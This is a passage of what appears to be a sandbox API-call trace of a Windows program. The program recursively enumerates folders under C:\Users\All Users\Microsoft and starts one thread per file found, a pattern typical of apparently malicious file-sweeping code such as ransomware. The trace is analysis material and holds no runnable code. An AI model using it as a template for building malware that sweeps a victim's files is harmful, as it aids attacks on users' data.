returned 1 [0070.525] wcscmp (_String1="Events_Normal.rbs", _String2="..") returned 1 [0070.525] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33ccaf0 [0070.525] wcscpy (in: _Dest=0x33ccaf0, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis" [0070.525] wcscat (in: _Dest=0x33ccaf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\" [0070.525] wcscat (in: _Dest=0x33ccaf0, _Source="Events_Normal.rbs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_Normal.rbs") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_Normal.rbs" [0070.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ccaf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x838 [0070.526] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b60b8d0, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b60b8d0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x666666, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events_NormalCritical.rbs", cAlternateFileName="EVENTS~2.RBS")) returned 1 [0070.526] wcscmp (_String1="Events_NormalCritical.rbs", _String2=".") returned 1 [0070.526] wcscmp (_String1="Events_NormalCritical.rbs", _String2="..") returned 1 [0070.526] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x82) returned 0x33e2c30 [0070.526] wcscpy (in: _Dest=0x33e2c30, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis" [0070.526] wcscat (in: _Dest=0x33e2c30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\" [0070.526] wcscat (in: _Dest=0x33e2c30, _Source="Events_NormalCritical.rbs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_NormalCritical.rbs") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_NormalCritical.rbs" [0070.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e2c30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x83c [0070.527] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b60b8d0, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b60b8d0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x333333, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events_Realtime.rbs", cAlternateFileName="EVENTS~4.RBS")) returned 1 [0070.527] wcscmp (_String1="Events_Realtime.rbs", _String2=".") returned 1 [0070.527] wcscmp (_String1="Events_Realtime.rbs", _String2="..") returned 1 [0070.527] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x76) returned 0x33cd2f0 [0070.527] wcscpy (in: _Dest=0x33cd2f0, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis" [0070.527] wcscat (in: _Dest=0x33cd2f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\" [0070.527] wcscat (in: _Dest=0x33cd2f0, _Source="Events_Realtime.rbs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_Realtime.rbs") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_Realtime.rbs" [0070.527] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cd2f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x840 [0070.528] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a029c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalTraceStore", cAlternateFileName="LOCALT~1")) returned 1 [0070.528] wcscmp (_String1="LocalTraceStore", _String2=".") returned 1 [0070.528] wcscmp (_String1="LocalTraceStore", _String2="..") returned 1 [0070.528] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6e) returned 0x3479f10 [0070.528] wcscpy (in: _Dest=0x3479f10, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis" [0070.528] wcscat (in: _Dest=0x3479f10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\" [0070.528] wcscat (in: _Dest=0x3479f10, _Source="LocalTraceStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\LocalTraceStore") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\LocalTraceStore" [0070.528] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3479f10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x844 [0070.529] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a3dd985, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8a3dd985, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x28facbb4, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x0, cFileName="osver.txt", cAlternateFileName="")) returned 1 [0070.529] wcscmp (_String1="osver.txt", _String2=".") returned 1 [0070.529] wcscmp (_String1="osver.txt", _String2="..") returned 1 [0070.529] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347e6c0 [0070.529] wcscpy (in: _Dest=0x347e6c0, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis" [0070.529] wcscat (in: _Dest=0x347e6c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\" [0070.529] wcscat (in: _Dest=0x347e6c0, _Source="osver.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\osver.txt") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\osver.txt" [0070.529] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347e6c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x848 [0070.530] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfbb1de, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8bfbb1de, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8bfbb1de, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="parse.dat", cAlternateFileName="")) returned 1 [0070.530] wcscmp (_String1="parse.dat", _String2=".") returned 1 [0070.530] wcscmp (_String1="parse.dat", _String2="..") returned 1 [0070.530] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347dcb0 [0070.530] wcscpy (in: _Dest=0x347dcb0, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis" [0070.530] wcscat (in: _Dest=0x347dcb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\" [0070.530] wcscat (in: _Dest=0x347dcb0, _Source="parse.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\parse.dat") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\parse.dat" [0070.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347dcb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x84c [0070.531] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a06c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sideload", cAlternateFileName="")) returned 1 [0070.531] wcscmp (_String1="Sideload", _String2=".") returned 1 [0070.531] wcscmp (_String1="Sideload", _String2="..") returned 1 [0070.531] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x60) returned 0x3427958 [0070.531] wcscpy (in: _Dest=0x3427958, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis" [0070.531] wcscat (in: _Dest=0x3427958, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\" [0070.531] wcscat (in: _Dest=0x3427958, _Source="Sideload" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Sideload") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Sideload" [0070.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3427958, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x850 [0070.532] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a0bca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Siufloc", cAlternateFileName="")) returned 1 [0070.532] wcscmp (_String1="Siufloc", _String2=".") returned 1 [0070.532] wcscmp (_String1="Siufloc", _String2="..") returned 1 [0070.532] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5e) returned 0x34279c0 [0070.532] wcscpy (in: _Dest=0x34279c0, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis" [0070.532] wcscat (in: _Dest=0x34279c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\" [0070.532] wcscat (in: _Dest=0x34279c0, _Source="Siufloc" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Siufloc") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Siufloc" [0070.532] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34279c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x854 [0070.532] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4ddac897, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftLanding", cAlternateFileName="SOFTLA~1")) returned 1 [0070.533] wcscmp (_String1="SoftLanding", _String2=".") returned 1 [0070.533] wcscmp (_String1="SoftLanding", _String2="..") returned 1 [0070.533] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x347d9a0 [0070.533] wcscpy (in: _Dest=0x347d9a0, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis" [0070.533] wcscat (in: _Dest=0x347d9a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\" [0070.533] wcscat (in: _Dest=0x347d9a0, _Source="SoftLanding" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" [0070.533] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347d9a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x858 [0070.533] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftLandingStage", cAlternateFileName="SOFTLA~2")) returned 1 [0070.533] wcscmp (_String1="SoftLandingStage", _String2=".") returned 1 [0070.533] wcscmp (_String1="SoftLandingStage", _String2="..") returned 1 [0070.533] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479e98 [0070.534] wcscpy (in: _Dest=0x3479e98, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis" [0070.534] wcscat (in: _Dest=0x3479e98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\" [0070.534] wcscat (in: _Dest=0x3479e98, _Source="SoftLandingStage" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLandingStage") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLandingStage" [0070.534] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3479e98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x85c [0070.534] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xd6b11c43, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd6b11c43, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TenantStorage", cAlternateFileName="TENANT~1")) returned 1 [0070.534] wcscmp (_String1="TenantStorage", _String2=".") returned 1 [0070.534] wcscmp (_String1="TenantStorage", _String2="..") returned 1 [0070.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479a60 [0070.534] wcscpy (in: _Dest=0x3479a60, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis" [0070.534] wcscat (in: _Dest=0x3479a60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\" [0070.535] wcscat (in: _Dest=0x3479a60, _Source="TenantStorage" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage" [0070.535] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3479a60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x860 [0070.535] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x774ff760, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VortexSchemaRequests.dat", cAlternateFileName="VORTEX~1.DAT")) returned 1 [0070.535] wcscmp (_String1="VortexSchemaRequests.dat", _String2=".") returned 1 [0070.535] wcscmp (_String1="VortexSchemaRequests.dat", _String2="..") returned 1 [0070.535] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x80) returned 0x33e7090 [0070.535] wcscpy (in: _Dest=0x33e7090, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis" [0070.536] wcscat (in: _Dest=0x33e7090, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\" [0070.536] wcscat (in: _Dest=0x33e7090, _Source="VortexSchemaRequests.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\VortexSchemaRequests.dat") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\VortexSchemaRequests.dat" [0070.536] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e7090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x864 [0070.536] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x774ff760, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VortexSchemaRequests.dat", cAlternateFileName="VORTEX~1.DAT")) returned 0 [0070.536] FindClose (in: hFindFile=0x3433a68 | out: hFindFile=0x3433a68) returned 1 [0070.537] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427f88) returned 1 [0070.537] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481cd8) returned 1 [0070.537] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430910) returned 1 [0070.537] RtlExitUserThread (Status=0x0) Thread: id = 382 os_tid = 0x470 [0068.971] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x46) returned 0x34809e8 [0068.971] wcscpy (in: _Dest=0x34809e8, _Source="C:\\Users\\All Users\\Microsoft\\DRM" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM") returned="C:\\Users\\All Users\\Microsoft\\DRM" [0068.971] wcscat (in: _Dest=0x34809e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM\\") returned="C:\\Users\\All Users\\Microsoft\\DRM\\" [0068.971] wcscat (in: _Dest=0x34809e8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM\\*") returned="C:\\Users\\All Users\\Microsoft\\DRM\\*" [0068.971] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34281f0 [0068.971] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\*", lpFindFileData=0x34281f0 | out: lpFindFileData=0x34281f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433ae8 [0068.972] wcscmp (_String1=".", _String2=".") returned 0 [0068.972] FindNextFileW (in: hFindFile=0x3433ae8, lpFindFileData=0x34281f0 | out: lpFindFileData=0x34281f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.972] wcscmp (_String1="..", _String2=".") returned 1 [0068.972] wcscmp (_String1="..", _String2="..") returned 0 [0068.972] FindNextFileW (in: hFindFile=0x3433ae8, lpFindFileData=0x34281f0 | out: lpFindFileData=0x34281f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1 [0068.972] wcscmp (_String1="Server", _String2=".") returned 1 [0068.972] wcscmp (_String1="Server", _String2="..") returned 1 [0068.972] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x50) returned 0x3430f40 [0068.972] wcscpy (in: _Dest=0x3430f40, _Source="C:\\Users\\All Users\\Microsoft\\DRM" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM") returned="C:\\Users\\All Users\\Microsoft\\DRM" [0068.973] wcscat (in: _Dest=0x3430f40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM\\") returned="C:\\Users\\All Users\\Microsoft\\DRM\\" [0068.973] wcscat (in: _Dest=0x3430f40, _Source="Server" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM\\Server") returned="C:\\Users\\All Users\\Microsoft\\DRM\\Server" [0070.519] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3430f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x70c [0070.520] FindNextFileW (in: hFindFile=0x3433ae8, lpFindFileData=0x34281f0 | out: lpFindFileData=0x34281f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0 [0070.520] FindClose (in: hFindFile=0x3433ae8 | out: hFindFile=0x3433ae8) returned 1 [0070.520] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34281f0) returned 1 [0070.520] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34809e8) returned 1 [0070.520] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480e48) returned 1 [0070.520] RtlExitUserThread (Status=0x0) Thread: id = 383 os_tid = 0xd28 [0068.973] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x347fd60 [0068.973] wcscpy (in: _Dest=0x347fd60, _Source="C:\\Users\\All Users\\Microsoft\\Event Viewer" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer" [0068.973] wcscat (in: _Dest=0x347fd60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\" [0068.973] wcscat (in: _Dest=0x347fd60, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\*") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\*" [0068.973] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3428458 [0068.973] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\*", lpFindFileData=0x3428458 | out: lpFindFileData=0x3428458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x40368daa, ftLastAccessTime.dwHighDateTime=0x1d39f5f, ftLastWriteTime.dwLowDateTime=0xfbfe5ab1, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433b68 [0068.974] wcscmp (_String1=".", _String2=".") returned 0 [0068.974] FindNextFileW (in: hFindFile=0x3433b68, lpFindFileData=0x3428458 | out: lpFindFileData=0x3428458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x40368daa, ftLastAccessTime.dwHighDateTime=0x1d39f5f, ftLastWriteTime.dwLowDateTime=0xfbfe5ab1, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.974] wcscmp (_String1="..", _String2=".") returned 1 [0068.974] wcscmp (_String1="..", _String2="..") returned 0 [0068.974] FindNextFileW (in: hFindFile=0x3433b68, lpFindFileData=0x3428458 | out: lpFindFileData=0x3428458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, 